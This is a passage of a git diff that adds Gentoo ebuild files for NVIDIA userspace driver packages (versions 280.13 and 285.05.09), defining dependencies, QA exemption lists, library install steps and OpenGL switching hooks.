+	usr/bin/nvidia-xconfig
+	usr/bin/nvidia-settings"
+
+QA_DT_HASH_x86="usr/lib/libcuda.so.${PV}
+	usr/lib/libnvidia-cfg.so.${PV}
+	usr/lib/libnvidia-glcore.so.${PV}
+	usr/lib/libnvidia-ml.so.${PV}
+	usr/lib/opengl/nvidia/lib/libGL.so.${PV}
+	usr/lib/opengl/nvidia/lib/libnvidia-tls.so.${PV}
+	usr/lib/opengl/nvidia/extensions/libglx.so.${PV}
+	usr/lib/xorg/modules/drivers/nvidia_drv.so
+	usr/lib/libXvMCNVIDIA.so.${PV}
+	usr/lib/libvdpau_nvidia.so.${PV}
+	usr/lib/libOpenCL.so.1.0.0
+	usr/lib/libnvidia-compiler.so.${PV}
+	usr/lib/libnvcuvid.so.${PV}
+	usr/bin/nvidia-smi
+	usr/bin/nvidia-xconfig
+	usr/bin/nvidia-settings"
+
+
+S="${WORKDIR}/"
+
+pkg_setup() {
+	# try to turn off distcc and ccache for people that have a problem with it
+	export DISTCC_DISABLE=1
+	export CCACHE_DISABLE=1
+
+	if use amd64 && has_multilib_profile && [ "${DEFAULT_ABI}" != "amd64" ]; then
+		eerror "This ebuild doesn't currently support changing your default abi."
+		die "Unexpected \${DEFAULT_ABI} = ${DEFAULT_ABI}"
+	fi
+
+	# On BSD userland it wants real make command
+	use userland_BSD && MAKE="$(get_bmake)"
+
+	export _POSIX2_VERSION="199209"
+
+	# set variables to where files are in the package structure
+	if use kernel_FreeBSD; then
+		NV_DOC="${S}/doc"
+		NV_EXEC="${S}/obj"
+		NV_LIB="${S}/obj"
+		NV_SRC="${S}/src"
+		NV_MAN="${S}/x11/man"
+		NV_X11="${S}/obj"
+		NV_X11_DRV="${NV_X11}"
+		NV_X11_EXT="${NV_X11}"
+		NV_SOVER=1
+	elif use kernel_linux; then
+		NV_DOC="${S}"
+		NV_EXEC="${S}"
+		NV_LIB="${S}"
+		NV_SRC="${S}/kernel"
+		NV_MAN="${S}"
+		NV_X11="${S}"
+		NV_X11_DRV="${NV_X11}"
+		NV_X11_EXT="${NV_X11}"
+		NV_SOVER=${PV}
+	else
+		die "Could not determine proper NVIDIA package"
+	fi
+}
+
+src_unpack() {
+	if ! use x86-fbsd; then
+		cd "${S}"
+		unpack_makeself
+	else
+		unpack ${A}
+	fi
+}
+
+src_prepare() {
+	# Please add a brief description for every added patch
+	use x86-fbsd && cd doc
+}
+
+src_compile() {
+	# This is already the default on Linux, as there's no toplevel Makefile, but
+	# on FreeBSD there's one and triggers the kernel module build, as we install
+	# it by itself, pass this.
+
+	cd "${NV_SRC}"
+	if use x86-fbsd; then
+		MAKE="$(get_bmake)" CFLAGS="-Wno-sign-compare" emake CC="$(tc-getCC)" \
+			LD="$(tc-getLD)" LDFLAGS="$(raw-ldflags)" || die
+	fi
+}
+
+src_install() {
+	if use kernel_linux; then
+		VIDEOGROUP="$(egetent group video | cut -d ':' -f 3)"
+		if [ -z "$VIDEOGROUP" ]; then
+			eerror "Failed to determine the video group gid."
+			die "Failed to determine the video group gid."
+		fi
+
+		# Add the aliases
+		[ -f "${FILESDIR}/nvidia-169.07" ] || die "nvidia missing in FILESDIR"
+		sed -e 's:PACKAGE:'${PF}':g' \
+			-e 's:VIDEOGID:'${VIDEOGROUP}':' "${FILESDIR}"/nvidia-169.07 > \
+			"${WORKDIR}"/nvidia
+		insinto /etc/modprobe.d
+		newins "${WORKDIR}"/nvidia nvidia.conf || die
+	fi
+
+	# NVIDIA kernel <-> userspace driver config lib
+	dolib.so ${NV_LIB}/libnvidia-cfg.so.${NV_SOVER} || \
+		die "failed to install libnvidia-cfg"
+	dosym /usr/$(get_libdir)/libnvidia-cfg.so.${NV_SOVER} \
+		/usr/$(get_libdir)/libnvidia-cfg.so || \
+		die "failed to create libnvidia-cfg.so symlink"
+
+	# NVIDIA monitoring library
+	dolib.so ${NV_LIB}/libnvidia-ml.so.${NV_SOVER} || \
+		die "failed to install libnvidia-ml"
+	dosym /usr/$(get_libdir)/libnvidia-ml.so.${NV_SOVER} \
+		/usr/$(get_libdir)/libnvidia-ml.so || \
+		die "failed to create libnvidia-ml.so symlink"
+
+	# NVIDIA video decode <-> CUDA
+	dolib.so ${NV_LIB}/libnvcuvid.so.${NV_SOVER} || \
+		die "failed to install libnvcuvid.so"
+	dosym /usr/$(get_libdir)/libnvcuvid.so.${NV_SOVER} \
+		/usr/$(get_libdir)/libnvcuvid.so || \
+		die "failed to create libnvcuvid.so symlink"
+
+	# Xorg DDX driver
+	insinto /usr/$(get_libdir)/xorg/modules/drivers
+	doins ${NV_X11_DRV}/nvidia_drv.so || die "failed to install nvidia_drv.so"
+
+	# Xorg GLX driver
+	insinto /usr/$(get_libdir)/opengl/nvidia/extensions
+	doins ${NV_X11_EXT}/libglx.so.${NV_SOVER} || \
+		die "failed to install libglx.so"
+	dosym /usr/$(get_libdir)/opengl/nvidia/extensions/libglx.so.${NV_SOVER} \
+		/usr/$(get_libdir)/opengl/nvidia/extensions/libglx.so || \
+		die "failed to create libglx.so symlink"
+
+	# XvMC driver
+	dolib.a ${NV_X11}/libXvMCNVIDIA.a || \
+		die "failed to install libXvMCNVIDIA.so"
+	dolib.so ${NV_X11}/libXvMCNVIDIA.so.${NV_SOVER} || \
+		die "failed to install libXvMCNVIDIA.so"
+	dosym libXvMCNVIDIA.so.${NV_SOVER} /usr/$(get_libdir)/libXvMCNVIDIA.so || \
+		die "failed to create libXvMCNVIDIA.so symlink"
+
+	# OpenCL ICD for NVIDIA
+	if use kernel_linux; then
+		dodir /etc/OpenCL/vendors
+		insinto /etc/OpenCL/vendors
+		doins nvidia.icd
+	fi
+
+	# Documentation
+	dohtml ${NV_DOC}/html/*
+	if use x86-fbsd; then
+		dodoc "${NV_DOC}/README"
+		doman "${NV_MAN}/nvidia-xconfig.1"
+	else
+		# Docs
+		newdoc "${NV_DOC}/README.txt" README
+		dodoc "${NV_DOC}/NVIDIA_Changelog"
+		doman "${NV_MAN}/nvidia-smi.1.gz"
+		doman "${NV_MAN}/nvidia-xconfig.1.gz"
+	fi
+
+	# Helper Apps
+	dobin ${NV_EXEC}/nvidia-xconfig || die
+	dobin ${NV_EXEC}/nvidia-bug-report.sh || die
+	if use kernel_linux; then
+		dobin ${NV_EXEC}/nvidia-smi || die
+	fi
+
+	if has_multilib_profile ; then
+		local OABI=${ABI}
+		for ABI in $(get_install_abis) ; do
+			src_install-libs
+		done
+		ABI=${OABI}
+		unset OABI
+	else
+		src_install-libs
+	fi
+
+	is_final_abi || die "failed to iterate through all ABIs"
+}
+
+# Install nvidia library:
+# the first parameter is the place where to install it
+# the second parameter is the base name of the library
+# the third parameter is the provided soversion
+donvidia() {
+	dodir $1
+	exeinto $1
+
+	libname=$(basename $2)
+
+	doexe $2.$3 || die "failed to install $2"
+	dosym ${libname}.$3 $1/${libname} || die "failed to symlink $2"
+	[[ $3 != "1" ]] && dosym ${libname}.$3 $1/${libname}.1
+}
+
+src_install-libs() {
+	local inslibdir=$(get_libdir)
+	local NV_ROOT="/usr/${inslibdir}/opengl/nvidia"
+	local libdir= sover=
+
+	if use kernel_linux; then
+		if has_multilib_profile && [[ ${ABI} == "x86" ]] ; then
+			libdir=32
+		else
+			libdir=.
+		fi
+		sover=${PV}
+	else
+		libdir=obj
+		# on FreeBSD it has just .1 suffix
+		sover=1
+	fi
+
+	# The GLX libraries
+	donvidia ${NV_ROOT}/lib ${libdir}/libGL.so ${sover}
+	donvidia /usr/${inslibdir} ${libdir}/libnvidia-glcore.so ${sover}
+	if use x86-fbsd; then
+		donvidia ${NV_ROOT}/lib ${libdir}/libnvidia-tls.so ${sover}
+	else
+		donvidia ${NV_ROOT}/lib ${libdir}/tls/libnvidia-tls.so ${sover}
+	fi
+
+	# VDPAU
+	donvidia /usr/${inslibdir} ${libdir}/libvdpau_nvidia.so ${sover}
+
+	# CUDA & OpenCL
+	if use kernel_linux; then
+		donvidia /usr/${inslibdir} ${libdir}/libcuda.so ${sover}
+		donvidia /usr/${inslibdir} ${libdir}/libnvidia-compiler.so ${sover}
+		donvidia /usr/${inslibdir} ${libdir}/libOpenCL.so 1.0.0
+		dosym libOpenCL.so.1 /usr/${inslibdir}/libOpenCL.so
+	fi
+}
+
+pkg_preinst() {
+	# Clean the dynamic libGL stuff's home to ensure
+	# we dont have stale libs floating around
+	if [ -d "${ROOT}"/usr/lib/opengl/nvidia ] ; then
+		rm -rf "${ROOT}"/usr/lib/opengl/nvidia/*
+	fi
+	# Make sure we nuke the old nvidia-glx's env.d file
+	if [ -e "${ROOT}"/etc/env.d/09nvidia ] ; then
+		rm -f "${ROOT}"/etc/env.d/09nvidia
+	fi
+}
+
+pkg_postinst() {
+	# Switch to the nvidia implementation
+	eselect opengl set --use-old nvidia
+
+	elog "To use the NVIDIA GLX, run \"eselect opengl set nvidia\""
+	elog
+	elog "NVIDIA has requested that any bug reports submitted have the"
+	elog "output of /usr/bin/nvidia-bug-report.sh included."
+	elog
+	elog "To work with compiz, you must enable the AddARGBGLXVisuals option."
+	elog
+	elog "If you are having resolution problems, try disabling DynamicTwinView."
+	elog
+}
+
+pkg_postrm() {
+	eselect opengl set --use-old xorg-x11
+}
diff --git a/x11-drivers/nvidia-userspace/nvidia-userspace-280.13.ebuild b/x11-drivers/nvidia-userspace/nvidia-userspace-280.13.ebuild
new file mode 100644
index 00000000..6e988b89
--- /dev/null
+++ b/x11-drivers/nvidia-userspace/nvidia-userspace-280.13.ebuild
@@ -0,0 +1,414 @@
+# Copyright 1999-2011 Gentoo Foundation
+# Distributed under the terms of the GNU General Public License v2
+# $Header: $
+
+EAPI="2"
+
+inherit eutils unpacker multilib portability versionator flag-o-matic
+
+X86_NV_PACKAGE="NVIDIA-Linux-x86-${PV}"
+AMD64_NV_PACKAGE="NVIDIA-Linux-x86_64-${PV}"
+X86_FBSD_NV_PACKAGE="NVIDIA-FreeBSD-x86-${PV}"
+
+DESCRIPTION="NVIDIA X11 userspace libraries and applications"
+HOMEPAGE="http://www.nvidia.com/"
+SRC_URI="x86? ( http://download.nvidia.com/XFree86/Linux-x86/${PV}/${X86_NV_PACKAGE}.run )
+	 amd64? ( http://download.nvidia.com/XFree86/Linux-x86_64/${PV}/${AMD64_NV_PACKAGE}.run )
+	 x86-fbsd? ( http://download.nvidia.com/XFree86/FreeBSD-x86/${PV}/${X86_FBSD_NV_PACKAGE}.tar.gz )"
+
+LICENSE="NVIDIA"
+SLOT="0"
+KEYWORDS="-* ~amd64 ~x86 ~x86-fbsd"
+IUSE="multilib kernel_linux"
+RESTRICT="strip"
+EMULTILIB_PKG="true"
+
+COMMON="<x11-base/xorg-server-1.10.99
+	kernel_linux? ( >=sys-libs/glibc-2.6.1 )
+	multilib? ( app-emulation/emul-linux-x86-xlibs )
+	>=app-admin/eselect-opengl-1.0.9
+	!<media-video/nvidia-settings-256.52"
+DEPEND="${COMMON}"
+RDEPEND="${COMMON}
+	x11-libs/libXvMC
+        !<x11-drivers/nvidia-userspace-${PV}
+        !>x11-drivers/nvidia-userspace-${PV}"
+PDEPEND=">=x11-libs/libvdpau-0.3-r1"
+
+QA_TEXTRELS_x86="
+	usr/lib/libOpenCL.so.1.0.0
+	usr/lib/libXvMCNVIDIA.so.${PV}
+	usr/lib/libcuda.so.${PV}
+	usr/lib/libnvcuvid.so.${PV}
+	usr/lib/libnvidia-cfg.so.${PV}
+	usr/lib/libnvidia-compiler.so.${PV}
+	usr/lib/libnvidia-glcore.so.${PV}
+	usr/lib/libnvidia-ml.so.${PV}
+	usr/lib/libvdpau_nvidia.so.${PV}
+	usr/lib/opengl/nvidia/extensions/libglx.so.${PV}
+	usr/lib/opengl/nvidia/lib/libGL.so.${PV}
+	usr/lib/opengl/nvidia/lib/libnvidia-tls.so.${PV}
+	usr/lib/xorg/modules/drivers/nvidia_drv.so"
+
+QA_TEXTRELS_x86_fbsd="boot/modules/nvidia.ko
+	usr/lib/opengl/nvidia/lib/libGL.so.1
+	usr/lib/libnvidia-glcore.so.1
+	usr/lib/libnvidia-cfg.so.1
+	usr/lib/libnvidia-ml.so.1
+	usr/lib/opengl/nvidia/extensions/libglx.so.1
+	usr/lib/xorg/modules/drivers/nvidia_drv.so"
+
+QA_TEXTRELS_amd64="usr/lib32/opengl/nvidia/lib/libnvidia-tls.so.${PV}
+	usr/lib32/libnvidia-glcore.so.${PV}
+	usr/lib32/opengl/nvidia/lib/libGL.so.${PV}
+	usr/lib32/libcuda.so.${PV}
+	usr/lib32/libvdpau_nvidia.so.${PV}
+	usr/lib32/libOpenCL.so.1.0.0
+	usr/lib32/libnvidia-compiler.so.${PV}"
+
+QA_EXECSTACK_x86="usr/lib/opengl/nvidia/lib/libGL.so.${PV}
+	usr/lib/libnvidia-glcore.so.${PV}
+	usr/lib/opengl/nvidia/extensions/libglx.so.${PV}
+	usr/lib64/libXvMCNVIDIA.so.${PV}
+	usr/lib/libXvMCNVIDIA.a:NVXVMC.o
+	usr/lib/libnvidia-compiler.so.${PV}
+	usr/lib/libvdpau_nvidia.so.${PV}
+	usr/lib/libcuda.so.${PV}
+	usr/lib/libOpenCL.so.1.0.0"
+
+QA_EXECSTACK_amd64="usr/lib32/libnvidia-glcore.so.${PV}
+	usr/lib32/opengl/nvidia/lib/libGL.so.${PV}
+	usr/lib32/libnvidia-compiler.so.${PV}
+	usr/lib32/opengl/nvidia/lib/libnvidia-tls.so.${PV}
+	usr/lib32/libvdpau_nvidia.so.${PV}
+	usr/lib32/libcuda.so.${PV}
+	usr/lib32/libOpenCL.so.1.0.0
+	usr/lib64/libnvidia-compiler.so.${PV}
+	usr/lib64/libXvMCNVIDIA.a:NVXVMC.o
+	usr/lib64/libnvidia-cfg.so.${PV}
+	usr/lib64/libnvidia-ml.so.${PV}
+	usr/lib64/libvdpau_nvidia.so.${PV}
+	usr/lib64/opengl/nvidia/lib/libnvidia-tls.so.${PV}
+	usr/lib64/opengl/nvidia/lib/libGL.so.${PV}
+	usr/lib64/libnvidia-glcore.so.${PV}
+	usr/lib64/opengl/nvidia/extensions/libglx.so.${PV}
+	usr/lib64/libXvMCNVIDIA.so.${PV}
+	usr/lib64/libcuda.so.${PV}
+	usr/lib64/libOpenCL.so.1.0.0
+	usr/lib64/xorg/modules/drivers/nvidia_drv.so
+	usr/bin/nvidia-smi
+	usr/bin/nvidia-xconfig
+	usr/bin/nvidia-settings"
+
+QA_WX_LOAD_x86="usr/lib/libnvidia-glcore.so.${PV}
+	usr/lib/opengl/nvidia/lib/libGL.so.${PV}
+	usr/lib/opengl/nvidia/extensions/libglx.so.${PV}
+	usr/lib/libXvMCNVIDIA.a
+	usr/lib64/libXvMCNVIDIA.so.${PV}"
+
+QA_WX_LOAD_amd64="usr/lib32/opengl/nvidia/lib/libGL.so.${PV}
+	usr/lib32/libnvidia-glcore.so.${PV}
+	usr/lib64/opengl/nvidia/lib/libGL.so.${PV}
+	usr/lib64/libnvidia-glcore.so.${PV}
+	usr/lib64/opengl/nvidia/extensions/libglx.so.${PV}
+	usr/lib64/libXvMCNVIDIA.so.${PV}"
+
+QA_SONAME_x86="usr/lib/libnvidia-compiler.so.${PV}"
+
+QA_SONAME_amd64="usr/lib64/libnvidia-compiler.so.${PV}
+	usr/lib32/libnvidia-compiler.so.${PV}"
+
+QA_DT_HASH_amd64="usr/lib32/libcuda.so.${PV}
+	usr/lib32/opengl/nvidia/lib/libGL.so.${PV}
+	usr/lib32/libnvidia-glcore.so.${PV}
+	usr/lib32/opengl/nvidia/lib/libnvidia-tls.so.${PV}
+	usr/lib32/libvdpau_nvidia.so.${PV}
+	usr/lib32/libOpenCL.so.1.0.0
+	usr/lib32/libnvidia-compiler.so.${PV}
+	usr/lib64/libXvMCNVIDIA.so.${PV}
+	usr/lib64/libcuda.so.${PV}
+	usr/lib64/libnvidia-cfg.so.${PV}
+	usr/lib64/libnvidia-glcore.so.${PV}
+	usr/lib64/libnvidia-ml.so.${PV}
+	usr/lib64/opengl/nvidia/lib/libGL.so.${PV}
+	usr/lib64/opengl/nvidia/lib/libnvidia-tls.so.${PV}
+	usr/lib64/opengl/nvidia/extensions/libglx.so.${PV}
+	usr/lib64/xorg/modules/drivers/nvidia_drv.so
+	usr/lib64/libvdpau_nvidia.so.${PV}
+	usr/lib64/libOpenCL.so.1.0.0
+	usr/lib64/libnvidia-compiler.so.${PV}
+	usr/lib64/libnvcuvid.so.${PV}
+	usr/bin/nvidia-smi
+	usr/bin/nvidia-xconfig
+	usr/bin/nvidia-settings"
+
+QA_DT_HASH_x86="usr/lib/libcuda.so.${PV}
+	usr/lib/libnvidia-cfg.so.${PV}
+	usr/lib/libnvidia-glcore.so.${PV}
+	usr/lib/libnvidia-ml.so.${PV}
+	usr/lib/opengl/nvidia/lib/libGL.so.${PV}
+	usr/lib/opengl/nvidia/lib/libnvidia-tls.so.${PV}
+	usr/lib/opengl/nvidia/extensions/libglx.so.${PV}
+	usr/lib/xorg/modules/drivers/nvidia_drv.so
+	usr/lib/libXvMCNVIDIA.so.${PV}
+	usr/lib/libvdpau_nvidia.so.${PV}
+	usr/lib/libOpenCL.so.1.0.0
+	usr/lib/libnvidia-compiler.so.${PV}
+	usr/lib/libnvcuvid.so.${PV}
+	usr/bin/nvidia-smi
+	usr/bin/nvidia-xconfig
+	usr/bin/nvidia-settings"
+
+
+S="${WORKDIR}/"
+
+pkg_setup() {
+	# try to turn off distcc and ccache for people that have a problem with it
+	export DISTCC_DISABLE=1
+	export CCACHE_DISABLE=1
+
+	if use amd64 && has_multilib_profile && [ "${DEFAULT_ABI}" != "amd64" ]; then
+		eerror "This ebuild doesn't currently support changing your default abi."
+		die "Unexpected \${DEFAULT_ABI} = ${DEFAULT_ABI}"
+	fi
+
+	# On BSD userland it wants real make command
+	use userland_BSD && MAKE="$(get_bmake)"
+
+	export _POSIX2_VERSION="199209"
+
+	# set variables to where files are in the package structure
+	if use kernel_FreeBSD; then
+		NV_DOC="${S}/doc"
+		NV_EXEC="${S}/obj"
+		NV_LIB="${S}/obj"
+		NV_SRC="${S}/src"
+		NV_MAN="${S}/x11/man"
+		NV_X11="${S}/obj"
+		NV_X11_DRV="${NV_X11}"
+		NV_X11_EXT="${NV_X11}"
+		NV_SOVER=1
+	elif use kernel_linux; then
+		NV_DOC="${S}"
+		NV_EXEC="${S}"
+		NV_LIB="${S}"
+		NV_SRC="${S}/kernel"
+		NV_MAN="${S}"
+		NV_X11="${S}"
+		NV_X11_DRV="${NV_X11}"
+		NV_X11_EXT="${NV_X11}"
+		NV_SOVER=${PV}
+	else
+		die "Could not determine proper NVIDIA package"
+	fi
+}
+
+src_unpack() {
+	if ! use x86-fbsd; then
+		cd "${S}"
+		unpack_makeself
+	else
+		unpack ${A}
+	fi
+}
+
+src_prepare() {
+	# Please add a brief description for every added patch
+	use x86-fbsd && cd doc
+}
+
+src_compile() {
+	# This is already the default on Linux, as there's no toplevel Makefile, but
+	# on FreeBSD there's one and triggers the kernel module build, as we install
+	# it by itself, pass this.
+
+	cd "${NV_SRC}"
+	if use x86-fbsd; then
+		MAKE="$(get_bmake)" CFLAGS="-Wno-sign-compare" emake CC="$(tc-getCC)" \
+			LD="$(tc-getLD)" LDFLAGS="$(raw-ldflags)" || die
+	fi
+}
+
+src_install() {
+	if use kernel_linux; then
+		VIDEOGROUP="$(egetent group video | cut -d ':' -f 3)"
+		if [ -z "$VIDEOGROUP" ]; then
+			eerror "Failed to determine the video group gid."
+			die "Failed to determine the video group gid."
+		fi
+
+		# Add the aliases
+		[ -f "${FILESDIR}/nvidia-169.07" ] || die "nvidia missing in FILESDIR"
+		sed -e 's:PACKAGE:'${PF}':g' \
+			-e 's:VIDEOGID:'${VIDEOGROUP}':' "${FILESDIR}"/nvidia-169.07 > \
+			"${WORKDIR}"/nvidia
+		insinto /etc/modprobe.d
+		newins "${WORKDIR}"/nvidia nvidia.conf || die
+	fi
+
+	# NVIDIA kernel <-> userspace driver config lib
+	dolib.so ${NV_LIB}/libnvidia-cfg.so.${NV_SOVER} || \
+		die "failed to install libnvidia-cfg"
+	dosym /usr/$(get_libdir)/libnvidia-cfg.so.${NV_SOVER} \
+		/usr/$(get_libdir)/libnvidia-cfg.so || \
+		die "failed to create libnvidia-cfg.so symlink"
+
+	# NVIDIA monitoring library
+	dolib.so ${NV_LIB}/libnvidia-ml.so.${NV_SOVER} || \
+		die "failed to install libnvidia-ml"
+	dosym /usr/$(get_libdir)/libnvidia-ml.so.${NV_SOVER} \
+		/usr/$(get_libdir)/libnvidia-ml.so || \
+		die "failed to create libnvidia-ml.so symlink"
+
+	# NVIDIA video decode <-> CUDA
+	dolib.so ${NV_LIB}/libnvcuvid.so.${NV_SOVER} || \
+		die "failed to install libnvcuvid.so"
+	dosym /usr/$(get_libdir)/libnvcuvid.so.${NV_SOVER} \
+		/usr/$(get_libdir)/libnvcuvid.so || \
+		die "failed to create libnvcuvid.so symlink"
+
+	# Xorg DDX driver
+	insinto /usr/$(get_libdir)/xorg/modules/drivers
+	doins ${NV_X11_DRV}/nvidia_drv.so || die "failed to install nvidia_drv.so"
+
+	# Xorg GLX driver
+	insinto /usr/$(get_libdir)/opengl/nvidia/extensions
+	doins ${NV_X11_EXT}/libglx.so.${NV_SOVER} || \
+		die "failed to install libglx.so"
+	dosym /usr/$(get_libdir)/opengl/nvidia/extensions/libglx.so.${NV_SOVER} \
+		/usr/$(get_libdir)/opengl/nvidia/extensions/libglx.so || \
+		die "failed to create libglx.so symlink"
+
+	# XvMC driver
+	dolib.a ${NV_X11}/libXvMCNVIDIA.a || \
+		die "failed to install libXvMCNVIDIA.so"
+	dolib.so ${NV_X11}/libXvMCNVIDIA.so.${NV_SOVER} || \
+		die "failed to install libXvMCNVIDIA.so"
+	dosym libXvMCNVIDIA.so.${NV_SOVER} /usr/$(get_libdir)/libXvMCNVIDIA.so || \
+		die "failed to create libXvMCNVIDIA.so symlink"
+
+	# OpenCL ICD for NVIDIA
+	if use kernel_linux; then
+		dodir /etc/OpenCL/vendors
+		insinto /etc/OpenCL/vendors
+		doins nvidia.icd
+	fi
+
+	# Documentation
+	dohtml ${NV_DOC}/html/*
+	if use x86-fbsd; then
+		dodoc "${NV_DOC}/README"
+		doman "${NV_MAN}/nvidia-xconfig.1"
+	else
+		# Docs
+		newdoc "${NV_DOC}/README.txt" README
+		dodoc "${NV_DOC}/NVIDIA_Changelog"
+		doman "${NV_MAN}/nvidia-smi.1.gz"
+		doman "${NV_MAN}/nvidia-xconfig.1.gz"
+	fi
+
+	# Helper Apps
+	dobin ${NV_EXEC}/nvidia-xconfig || die
+	dobin ${NV_EXEC}/nvidia-bug-report.sh || die
+	if use kernel_linux; then
+		dobin ${NV_EXEC}/nvidia-smi || die
+	fi
+
+	if has_multilib_profile ; then
+		local OABI=${ABI}
+		for ABI in $(get_install_abis) ; do
+			src_install-libs
+		done
+		ABI=${OABI}
+		unset OABI
+	else
+		src_install-libs
+	fi
+
+	is_final_abi || die "failed to iterate through all ABIs"
+}
+
+# Install nvidia library:
+# the first parameter is the place where to install it
+# the second parameter is the base name of the library
+# the third parameter is the provided soversion
+donvidia() {
+	dodir $1
+	exeinto $1
+
+	libname=$(basename $2)
+
+	doexe $2.$3 || die "failed to install $2"
+	dosym ${libname}.$3 $1/${libname} || die "failed to symlink $2"
+	[[ $3 != "1" ]] && dosym ${libname}.$3 $1/${libname}.1
+}
+
+src_install-libs() {
+	local inslibdir=$(get_libdir)
+	local NV_ROOT="/usr/${inslibdir}/opengl/nvidia"
+	local libdir= sover=
+
+	if use kernel_linux; then
+		if has_multilib_profile && [[ ${ABI} == "x86" ]] ; then
+			libdir=32
+		else
+			libdir=.
+		fi
+		sover=${PV}
+	else
+		libdir=obj
+		# on FreeBSD it has just .1 suffix
+		sover=1
+	fi
+
+	# The GLX libraries
+	donvidia ${NV_ROOT}/lib ${libdir}/libGL.so ${sover}
+	donvidia /usr/${inslibdir} ${libdir}/libnvidia-glcore.so ${sover}
+	if use x86-fbsd; then
+		donvidia ${NV_ROOT}/lib ${libdir}/libnvidia-tls.so ${sover}
+	else
+		donvidia ${NV_ROOT}/lib ${libdir}/tls/libnvidia-tls.so ${sover}
+	fi
+
+	# VDPAU
+	donvidia /usr/${inslibdir} ${libdir}/libvdpau_nvidia.so ${sover}
+
+	# CUDA & OpenCL
+	if use kernel_linux; then
+		donvidia /usr/${inslibdir} ${libdir}/libcuda.so ${sover}
+		donvidia /usr/${inslibdir} ${libdir}/libnvidia-compiler.so ${sover}
+		donvidia /usr/${inslibdir} ${libdir}/libOpenCL.so 1.0.0
+		dosym libOpenCL.so.1 /usr/${inslibdir}/libOpenCL.so
+	fi
+}
+
+pkg_preinst() {
+	# Clean the dynamic libGL stuff's home to ensure
+	# we dont have stale libs floating around
+	if [ -d "${ROOT}"/usr/lib/opengl/nvidia ] ; then
+		rm -rf "${ROOT}"/usr/lib/opengl/nvidia/*
+	fi
+	# Make sure we nuke the old nvidia-glx's env.d file
+	if [ -e "${ROOT}"/etc/env.d/09nvidia ] ; then
+		rm -f "${ROOT}"/etc/env.d/09nvidia
+	fi
+}
+
+pkg_postinst() {
+	# Switch to the nvidia implementation
+	eselect opengl set --use-old nvidia
+
+	elog "To use the NVIDIA GLX, run \"eselect opengl set nvidia\""
+	elog
+	elog "NVIDIA has requested that any bug reports submitted have the"
+	elog "output of /usr/bin/nvidia-bug-report.sh included."
+	elog
+	elog "To work with compiz, you must enable the AddARGBGLXVisuals option."
+	elog
+	elog "If you are having resolution problems, try disabling DynamicTwinView."
+	elog
+}
+
+pkg_postrm() {
+	eselect opengl set --use-old xorg-x11
+}
diff --git a/x11-drivers/nvidia-userspace/nvidia-userspace-285.05.09.ebuild b/x11-drivers/nvidia-userspace/nvidia-userspace-285.05.09.ebuild
new file mode 100644
index 00000000..6e988b89
--- /dev/null
+++ b/x11-drivers/nvidia-userspace/nvidia-userspace-285.05.09.ebuild
@@ -0,0 +1,414 @@
+# Copyright 1999-2011 Gentoo Foundation
+# Distributed under the terms of the GNU General Public License v2
+# $Header: $
+
+EAPI="2"
+
+inherit eutils unpacker multilib portability versionator flag-o-matic
+
+X86_NV_PACKAGE="NVIDIA-Linux-x86-${PV}"
+AMD64_NV_PACKAGE="NVIDIA-Linux-x86_64-${PV}"
+X86_FBSD_NV_PACKAGE="NVIDIA-FreeBSD-x86-${PV}"
+
+DESCRIPTION="NVIDIA X11 userspace libraries and applications"
+HOMEPAGE="http://www.nvidia.com/"
+SRC_URI="x86? ( http://download.nvidia.com/XFree86/Linux-x86/${PV}/${X86_NV_PACKAGE}.run )
+	 amd64? ( http://download.nvidia.com/XFree86/Linux-x86_64/${PV}/${AMD64_NV_PACKAGE}.run )
+	 x86-fbsd? ( http://download.nvidia.com/XFree86/FreeBSD-x86/${PV}/${X86_FBSD_NV_PACKAGE}.tar.gz )"
+
+LICENSE="NVIDIA"
+SLOT="0"
+KEYWORDS="-* ~amd64 ~x86 ~x86-fbsd"
+IUSE="multilib kernel_linux"
+RESTRICT="strip"
+EMULTILIB_PKG="true"
+
+COMMON="<x11-base/xorg-server-1.10.99
+	kernel_linux? ( >=sys-libs/glibc-2.6.1 )
+	multilib? ( app-emulation/emul-linux-x86-xlibs )
+	>=app-admin/eselect-opengl-1.0.9
+	!<media-video/nvidia-settings-256.52"
+DEPEND="${COMMON}"
+RDEPEND="${COMMON}
+	x11-libs/libXvMC
+        !<x11-drivers/nvidia-userspace-${PV}
+        !>x11-drivers/nvidia-userspace-${PV}"
+PDEPEND=">=x11-libs/libvdpau-0.3-r1"
+
+QA_TEXTRELS_x86="
+	usr/lib/libOpenCL.so.1.0.0
+	usr/lib/libXvMCNVIDIA.so.${PV}
+	usr/lib/libcuda.so.${PV}
+	usr/lib/libnvcuvid.so.${PV}
+	usr/lib/libnvidia-cfg.so.${PV}
+	usr/lib/libnvidia-compiler.so.${PV}
+	usr/lib/libnvidia-glcore.so.${PV}
+	usr/lib/libnvidia-ml.so.${PV}
+	usr/lib/libvdpau_nvidia.so.${PV}
+	usr/lib/opengl/nvidia/extensions/libglx.so.${PV}
+	usr/lib/opengl/nvidia/lib/libGL.so.${PV}
+	usr/lib/opengl/nvidia/lib/libnvidia-tls.so.${PV}
+	usr/lib/xorg/modules/drivers/nvidia_drv.so"
+
+QA_TEXTRELS_x86_fbsd="boot/modules/nvidia.ko
+	usr/lib/opengl/nvidia/lib/libGL.so.1
+	usr/lib/libnvidia-glcore.so.1
+	usr/lib/libnvidia-cfg.so.1
+	usr/lib/libnvidia-ml.so.1
+	usr/lib/opengl/nvidia/extensions/libglx.so.1
+	usr/lib/xorg/modules/drivers/nvidia_drv.so"
+
+QA_TEXTRELS_amd64="usr/lib32/opengl/nvidia/lib/libnvidia-tls.so.${PV}
+	usr/lib32/libnvidia-glcore.so.${PV}
+	usr/lib32/opengl/nvidia/lib/libGL.so.${PV}
+	usr/lib32/libcuda.so.${PV}
+	usr/lib32/libvdpau_nvidia.so.${PV}
+	usr/lib32/libOpenCL.so.1.0.0
+	usr/lib32/libnvidia-compiler.so.${PV}"
+
+QA_EXECSTACK_x86="usr/lib/opengl/nvidia/lib/libGL.so.${PV}
+	usr/lib/libnvidia-glcore.so.${PV}
+	usr/lib/opengl/nvidia/extensions/libglx.so.${PV}
+	usr/lib64/libXvMCNVIDIA.so.${PV}
+	usr/lib/libXvMCNVIDIA.a:NVXVMC.o
+	usr/lib/libnvidia-compiler.so.${PV}
+	usr/lib/libvdpau_nvidia.so.${PV}
+	usr/lib/libcuda.so.${PV}
+	usr/lib/libOpenCL.so.1.0.0"
+
+QA_EXECSTACK_amd64="usr/lib32/libnvidia-glcore.so.${PV}
+	usr/lib32/opengl/nvidia/lib/libGL.so.${PV}
